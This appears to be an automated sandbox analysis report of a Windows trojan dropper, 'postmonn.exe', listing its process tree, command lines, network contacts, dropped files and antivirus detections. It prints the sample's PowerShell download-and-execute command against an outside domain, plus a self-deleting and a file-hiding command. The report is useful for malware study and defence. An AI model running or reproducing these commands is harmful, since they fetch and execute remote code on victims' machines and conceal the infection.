postmonn.exe| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6403_us | June 29, 2023, 5:04 p.m. | June 29, 2023, 5:07 p.m. |
-
-
-
cmd.exe "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://magerint.com/js/debug2.ps1')"
2496-
powershell.exe powershell -command IEX(New-Object Net.Webclient).DownloadString('https://magerint.com/js/debug2.ps1')
2628
-
-
cmd.exe "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\test22\AppData\Roaming\postmon.exe" >> NUL
2676-
PING.EXE ping 127.0.0.1
2820
-
-
-
-
-
mode.com mode con:cols=0080 lines=0025
2564
-
-
cmd.exe C:\Windows\system32\cmd.exe /c title System32
2672 -
cmd.exe C:\Windows\system32\cmd.exe /c if not exist "C:\Users\test22\AppData\Local\Temp\myfiles" mkdir "C:\Users\test22\AppData\Local\Temp\myfiles"
2780 -
cmd.exe C:\Windows\system32\cmd.exe /c if not exist "C:\Users\test22\AppData\Local\Temp\wtmpd" mkdir "C:\Users\test22\AppData\Local\Temp\wtmpd"
2844 -
-
attrib.exe attrib +h C:\Users\test22\AppData\Local\Temp\wtmpd
2964
-
-
cmd.exe C:\Windows\system32\cmd.exe /c echo:0>C:\Users\test22\AppData\Local\Temp\i6.t
3032 -
cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\test22\AppData\Local\Temp\i6.bat
1668 -
cmd.exe C:\Windows\system32\cmd.exe /c
1836 -
cmd.exe C:\Windows\system32\cmd.exe /c pause
508
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| magerint.com | 51.255.149.48 |
Suricata Alerts
Suricata TLS
No Suricata TLS
| registry | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid |
| file | C:\Users\test22\AppData\Local\Temp\i6.bat |
| file | C:\Users\test22\AppData\Roaming\postmon.exe |
| file | C:\Users\test22\AppData\Roaming\Popup.exe |
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | C:\Windows\system32\cmd.exe /c mode con:cols=0080 lines=0025 |
| cmdline | C:\Windows\sysnative\cmd.exe /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://magerint.com/js/debug2.ps1')" |
| cmdline | C:\Windows\system32\cmd.exe /c pause |
| cmdline | C:\Windows\system32\cmd.exe /c attrib +h C:\Users\test22\AppData\Local\Temp\wtmpd |
| cmdline | C:\Windows\system32\cmd.exe /c echo:0>C:\Users\test22\AppData\Local\Temp\i6.t |
| cmdline | C:\Windows\system32\cmd.exe /c C:\Users\test22\AppData\Local\Temp\i6.bat |
| cmdline | powershell -command IEX(New-Object Net.Webclient).DownloadString('https://magerint.com/js/debug2.ps1') |
| cmdline | "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://magerint.com/js/debug2.ps1')" |
| cmdline | C:\Windows\system32\cmd.exe /c title System32 |
| cmdline | C:\Windows\System32\cmd.exe /c ping 127.0.0.1 && del "C:\Users\test22\AppData\Roaming\postmon.exe" >> NUL |
| cmdline | C:\Windows\system32\cmd.exe /c if not exist "C:\Users\test22\AppData\Local\Temp\myfiles" mkdir "C:\Users\test22\AppData\Local\Temp\myfiles" |
| cmdline | C:\Windows\system32\cmd.exe /c |
| cmdline | "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\test22\AppData\Roaming\postmon.exe" >> NUL |
| cmdline | C:\Windows\system32\cmd.exe /c if not exist "C:\Users\test22\AppData\Local\Temp\wtmpd" mkdir "C:\Users\test22\AppData\Local\Temp\wtmpd" |
| file | C:\Users\test22\AppData\Roaming\postmon.exe |
| file | C:\Users\test22\AppData\Roaming\Popup.exe |
| file | C:\Users\test22\AppData\Roaming\postmon.exe |
| file | C:\Users\test22\AppData\Roaming\Popup.exe |
| section | {u'size_of_data': u'0x0005e600', u'virtual_address': u'0x00002000', u'entropy': 7.9816114147673, u'name': u'.text', u'virtual_size': u'0x0005e414'} | entropy | 7.98161141477 | description | A section with a high entropy has been found | |||||||||
| entropy | 0.994729907773 | description | Overall entropy of this PE file is high | |||||||||||
| Data received | |
| Data received | F<html><head><title>400 Bad Request</title></head><body> <h2>HTTPS is required</h2> <p>This is an SSL protected page, please use the HTTPS scheme instead of the plain HTTP scheme to access this URL.<br /> <blockquote>Hint: The URL should starts with <b>https</b>://</blockquote> </p> <hr /> Powered By LiteSpeed Web Server<br /> <a href='http://www.litespeedtech.com'><i>http://www.litespeedtech.com</i></a> </body></html> |
| Data sent | o kd;©@VSéû í]Ô^u;é.Nö¤ÚHø / 5 ÀÀÀ À 2 8 *ÿ magerint.com |
| Data sent | o kd;µÕ4ÌHNV¹z5ðIKó]U*³þ =´W / 5 ÀÀÀ À 2 8 *ÿ magerint.com |
| cmdline | C:\Windows\system32\cmd.exe /c attrib +h C:\Users\test22\AppData\Local\Temp\wtmpd |
| cmdline | attrib +h C:\Users\test22\AppData\Local\Temp\wtmpd |
| cmdline | ping 127.0.0.1 |
| cmdline | C:\Windows\System32\cmd.exe /c ping 127.0.0.1 && del "C:\Users\test22\AppData\Roaming\postmon.exe" >> NUL |
| cmdline | C:\Windows\system32\cmd.exe /c if not exist "C:\Users\test22\AppData\Local\Temp\myfiles" mkdir "C:\Users\test22\AppData\Local\Temp\myfiles" |
| cmdline | "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\test22\AppData\Roaming\postmon.exe" >> NUL |
| cmdline | C:\Windows\system32\cmd.exe /c if not exist "C:\Users\test22\AppData\Local\Temp\wtmpd" mkdir "C:\Users\test22\AppData\Local\Temp\wtmpd" |
| host | 62.217.160.2 | |||
| host | 77.88.55.88 | |||
| file | C:\Users\test22\AppData\Local\Temp\echo:1 |
| file | C:\Users\test22\AppData\Local\Temp\echo:0 |
| DrWeb | Trojan.MulDrop20.4429 |
| MicroWorld-eScan | IL:Trojan.MSILZilla.25637 |
| ALYac | IL:Trojan.MSILZilla.25637 |
| Malwarebytes | Trojan.Dropper.MSIL |
| VIPRE | IL:Trojan.MSILZilla.25637 |
| Sangfor | Trojan.Win32.Save.a |
| CrowdStrike | win/malicious_confidence_100% (W) |
| Arcabit | IL:Trojan.MSILZilla.D6425 |
| BitDefenderTheta | Gen:NN.ZemsilF.36270.xm0@aKjV@Yb |
| Cyren | W32/MSIL_Agent.ERT.gen!Eldorado |
| Symantec | ML.Attribute.HighConfidence |
| Elastic | malicious (high confidence) |
| ESET-NOD32 | a variant of MSIL/TrojanDropper.Agent.FPO |
| APEX | Malicious |
| Cynet | Malicious (score: 100) |
| Kaspersky | HEUR:Trojan-Dropper.MSIL.Dapato.gen |
| BitDefender | IL:Trojan.MSILZilla.25637 |
| Avast | Win32:PWSX-gen [Trj] |
| Emsisoft | IL:Trojan.MSILZilla.25637 (B) |
| F-Secure | Trojan.TR/Dropper.Gen |
| McAfee-GW-Edition | BehavesLike.Win32.Generic.fc |
| Trapmine | malicious.high.ml.score |
| FireEye | Generic.mg.d699bb26d34ae6d5 |
| Sophos | ML/PE-A |
| Ikarus | Trojan.MSIL.Crypt |
| Avira | TR/Dropper.Gen |
| Microsoft | Trojan:MSIL/AsyncRat.ABJU!MTB |
| ZoneAlarm | HEUR:Trojan-Dropper.MSIL.Dapato.gen |
| GData | IL:Trojan.MSILZilla.25637 |
| Detected | |
| AhnLab-V3 | Trojan/Win.Generic.C5161034 |
| Acronis | suspicious |
| MAX | malware (ai score=83) |
| Cylance | unsafe |
| Rising | Malware.Obfus/MSIL@AI.100 (RDM.MSIL2:UY+uln4R3IJxA6Ig8NJR8w) |
| SentinelOne | Static AI - Malicious PE |
| MaxSecure | Trojan.Malware.300983.susgen |
| Fortinet | MSIL/Zilla.5637!tr |
| AVG | Win32:PWSX-gen [Trj] |
| Cybereason | malicious.6d34ae |
| DeepInstinct | MALICIOUS |